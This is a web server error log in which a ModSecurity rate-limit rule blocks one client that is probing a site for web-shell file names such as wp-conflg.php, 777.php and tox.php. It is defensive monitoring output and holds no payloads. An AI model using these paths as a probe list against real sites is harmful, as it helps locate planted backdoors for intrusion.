[Sun Dec 28 21:04:37.809235 2025] [:error] [pid 29437:tid 29475] [client 4.218.19.19:14757] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVEq5RhDotAbVk6pZLfXOgAAAck"]
[Sun Dec 28 21:04:39.072108 2025] [:error] [pid 29437:tid 29478] [client 4.218.19.19:14740] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVEq5xhDotAbVk6pZLfXPQAAAcw"]
[Sun Dec 28 21:04:40.421955 2025] [:error] [pid 43789:tid 43797] [client 4.218.19.19:22673] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVEq6Aa-tUppni4CcCZE_QAAAQY"]
[Sun Dec 28 21:04:42.423338 2025] [:error] [pid 43789:tid 43793] [client 4.218.19.19:14322] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVEq6ga-tUppni4CcCZFAgAAAQI"]
[Sun Dec 28 21:04:43.604825 2025] [:error] [pid 29436:tid 29451] [client 4.218.19.19:14276] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aVEq67chzOOtNL9VPNIK9AAAAYw"]
[Sun Dec 28 21:04:45.641517 2025] [:error] [pid 42292:tid 42297] [client 4.218.19.19:1566] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aVEq7ZyOrM_vaFx1osZZ1gAAAAE"]
[Sun Dec 28 21:04:46.514223 2025] [:error] [pid 42378:tid 42388] [client 4.218.19.19:1555] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aVEq7jgtcN-KHAjWrX8qigAAAMg"]
[Sun Dec 28 21:04:47.770453 2025] [:error] [pid 42378:tid 42399] [client 4.218.19.19:14329] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aVEq7zgtcN-KHAjWrX8qjAAAANM"]
[Sun Dec 28 21:04:49.599892 2025] [:error] [pid 42294:tid 42353] [client 4.218.19.19:12805] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aVEq8dTE5kYcYCOzl9HNYAAAAIM"]
[Sun Dec 28 21:04:51.160246 2025] [:error] [pid 29388:tid 29403] [client 4.218.19.19:14284] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aVEq89oLv2L2zI_SpdXxgQAAAUc"]
[Sun Dec 28 21:04:53.138081 2025] [:error] [pid 42378:tid 42387] [client 4.218.19.19:22253] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aVEq9TgtcN-KHAjWrX8qkgAAAMc"]
[Sun Dec 28 21:04:56.096098 2025] [:error] [pid 43789:tid 43796] [client 4.218.19.19:1232] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aVEq-Aa-tUppni4CcCZFBQAAAQU"]
[Sun Dec 28 21:04:58.182050 2025] [:error] [pid 42378:tid 42393] [client 4.218.19.19:1235] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aVEq-jgtcN-KHAjWrX8qlAAAAM0"]
[Sun Dec 28 21:05:01.232813 2025] [:error] [pid 42293:tid 42329] [client 4.218.19.19:1126] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aVEq_cvc9B-5cwN385L8XQAAAEY"]
[Sun Dec 28 21:05:01.947740 2025] [:error] [pid 42378:tid 42403] [client 4.218.19.19:35434] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aVEq_TgtcN-KHAjWrX8qmAAAANc"]
[Sun Dec 28 21:05:03.457601 2025] [:error] [pid 42294:tid 42361] [client 4.218.19.19:12837] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aVEq_9TE5kYcYCOzl9HNbgAAAIs"]
[Sun Dec 28 21:05:05.416186 2025] [:error] [pid 29436:tid 29442] [client 4.218.19.19:35724] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aVErAbchzOOtNL9VPNILJgAAAYM"]
[Sun Dec 28 21:05:06.555792 2025] [:error] [pid 29436:tid 29441] [client 4.218.19.19:16413] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aVErArchzOOtNL9VPNILKAAAAYI"]
[Sun Dec 28 21:05:07.793174 2025] [:error] [pid 42294:tid 42374] [client 4.218.19.19:12320] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aVErA9TE5kYcYCOzl9HNcQAAAJg"]
[Sun Dec 28 21:05:09.874505 2025] [:error] [pid 29388:tid 29405] [client 4.218.19.19:23304] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aVErBdoLv2L2zI_SpdXxqgAAAUk"]
[Sun Dec 28 21:05:10.568757 2025] [:error] [pid 43789:tid 43801] [client 4.218.19.19:35725] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aVErBga-tUppni4CcCZFHQAAAQo"]
[Sun Dec 28 21:05:12.268485 2025] [:error] [pid 29437:tid 29477] [client 4.218.19.19:35404] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aVErCBhDotAbVk6pZLfXVQAAAcs"]
[Sun Dec 28 21:05:21.269920 2025] [:error] [pid 29436:tid 29450] [client 4.218.19.19:23337] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVErEbchzOOtNL9VPNILTAAAAYs"]
[Sun Dec 28 21:05:23.460501 2025] [:error] [pid 29436:tid 29456] [client 4.218.19.19:22597] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVErE7chzOOtNL9VPNILTwAAAZE"]
[Sun Dec 28 21:05:24.868831 2025] [:error] [pid 29436:tid 29451] [client 4.218.19.19:1050] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVErFLchzOOtNL9VPNILUAAAAYw"]
[Sun Dec 28 21:05:26.495842 2025] [:error] [pid 42378:tid 42390] [client 4.218.19.19:35195] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aVErFjgtcN-KHAjWrX8qqwAAAMo"]
[Sun Dec 28 21:05:27.949680 2025] [:error] [pid 29437:tid 29470] [client 4.218.19.19:17771] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aVErFxhDotAbVk6pZLfXbQAAAcQ"]
[Sun Dec 28 21:05:29.981611 2025] [:error] [pid 29437:tid 29490] [client 4.218.19.19:17767] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aVErGRhDotAbVk6pZLfXbwAAAdg"]
[Sun Dec 28 21:05:31.536809 2025] [:error] [pid 42293:tid 42346] [client 4.218.19.19:1906] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aVErG8vc9B-5cwN385L8lwAAAFc"]
[Sun Dec 28 21:05:32.881527 2025] [:error] [pid 29437:tid 29483] [client 4.218.19.19:22783] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aVErHBhDotAbVk6pZLfXcgAAAdE"]
[Sun Dec 28 21:05:33.575793 2025] [:error] [pid 42293:tid 42324] [client 4.218.19.19:14997] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aVErHcvc9B-5cwN385L8mwAAAEE"]
[Sun Dec 28 21:05:36.335144 2025] [:error] [pid 29388:tid 29397] [client 4.218.19.19:35951] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aVErINoLv2L2zI_SpdXxwQAAAUE"]
[Sun Dec 28 21:05:38.192367 2025] [:error] [pid 29436:tid 29462] [client 4.218.19.19:21418] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aVErIrchzOOtNL9VPNILVwAAAZc"]
[Sun Dec 28 21:05:40.001332 2025] [:error] [pid 42294:tid 42366] [client 4.218.19.19:21399] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aVErJNTE5kYcYCOzl9HNkwAAAJA"]
[Sun Dec 28 21:05:40.613300 2025] [:error] [pid 42294:tid 42365] [client 4.218.19.19:14980] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aVErJNTE5kYcYCOzl9HNlAAAAI8"]
[Sun Dec 28 21:05:41.748495 2025] [:error] [pid 29388:tid 29418] [client 4.218.19.19:23888] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aVErJdoLv2L2zI_SpdXxywAAAVY"]
[Sun Dec 28 21:05:42.870389 2025] [:error] [pid 42293:tid 42345] [client 4.218.19.19:1740] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aVErJsvc9B-5cwN385L8pQAAAFY"]
[Sun Dec 28 21:05:46.234596 2025] [:error] [pid 29388:tid 29401] [client 4.218.19.19:17700] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aVErKtoLv2L2zI_SpdXx0QAAAUU"]
[Sun Dec 28 21:05:47.625828 2025] [:error] [pid 29436:tid 29441] [client 4.218.19.19:15036] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aVErK7chzOOtNL9VPNILWwAAAYI"]
[Sun Dec 28 21:05:49.929537 2025] [:error] [pid 43789:tid 43795] [client 4.218.19.19:35778] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aVErLQa-tUppni4CcCZFKAAAAQQ"]
[Sun Dec 28 21:05:52.649959 2025] [:error] [pid 42378:tid 42389] [client 4.218.19.19:1671] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aVErMDgtcN-KHAjWrX8quwAAAMk"]
[Sun Dec 28 21:05:58.368363 2025] [:error] [pid 42292:tid 42302] [client 4.218.19.19:16487] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aVErNpyOrM_vaFx1osZaXQAAAAY"]
[Sun Dec 28 21:05:59.731788 2025] [:error] [pid 29388:tid 29396] [client 4.218.19.19:23278] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aVErN9oLv2L2zI_SpdXx1gAAAUA"]
[Sun Dec 28 21:06:01.307740 2025] [:error] [pid 43789:tid 43811] [client 4.218.19.19:35013] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aVErOQa-tUppni4CcCZFMAAAARQ"]
[Sun Dec 28 21:06:02.924793 2025] [:error] [pid 29388:tid 29405] [client 4.218.19.19:19466] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aVErOtoLv2L2zI_SpdXx1wAAAUk"]
[Sun Dec 28 21:06:04.279637 2025] [:error] [pid 29388:tid 29404] [client 4.218.19.19:20047] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aVErPNoLv2L2zI_SpdXx2AAAAUg"]
[Sun Dec 28 21:06:08.767475 2025] [:error] [pid 29436:tid 29451] [client 4.218.19.19:27309] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aVErQLchzOOtNL9VPNILbQAAAYw"]
[Sun Dec 28 21:06:11.585095 2025] [:error] [pid 29388:tid 29402] [client 4.218.19.19:27293] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aVErQ9oLv2L2zI_SpdXx4AAAAUY"]
[Sun Dec 28 21:06:13.843939 2025] [:error] [pid 42294:tid 42362] [client 4.218.19.19:20048] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aVErRdTE5kYcYCOzl9HNrwAAAIw"]
[Sun Dec 28 21:06:16.227469 2025] [:error] [pid 42293:tid 42335] [client 4.218.19.19:13729] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aVErSMvc9B-5cwN385L8ugAAAEw"]
[Sun Dec 28 21:06:16.867799 2025] [:error] [pid 42293:tid 42341] [client 4.218.19.19:22519] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aVErSMvc9B-5cwN385L8vAAAAFI"]
[Sun Dec 28 21:06:17.819191 2025] [:error] [pid 42293:tid 42332] [client 4.218.19.19:13821] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aVErScvc9B-5cwN385L8vQAAAEk"]
[Sun Dec 28 21:06:19.241391 2025] [:error] [pid 42292:tid 42303] [client 4.218.19.19:35511] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luxe.php"] [unique_id "aVErS5yOrM_vaFx1osZaZAAAAAc"]
[Sun Dec 28 21:06:27.465911 2025] [:error] [pid 29437:tid 29472] [client 4.218.19.19:13779] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aVErUxhDotAbVk6pZLfXigAAAcY"]
[Sun Dec 28 21:06:28.754471 2025] [:error] [pid 42292:tid 42315] [client 4.218.19.19:19576] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aVErVJyOrM_vaFx1osZafQAAABM"]
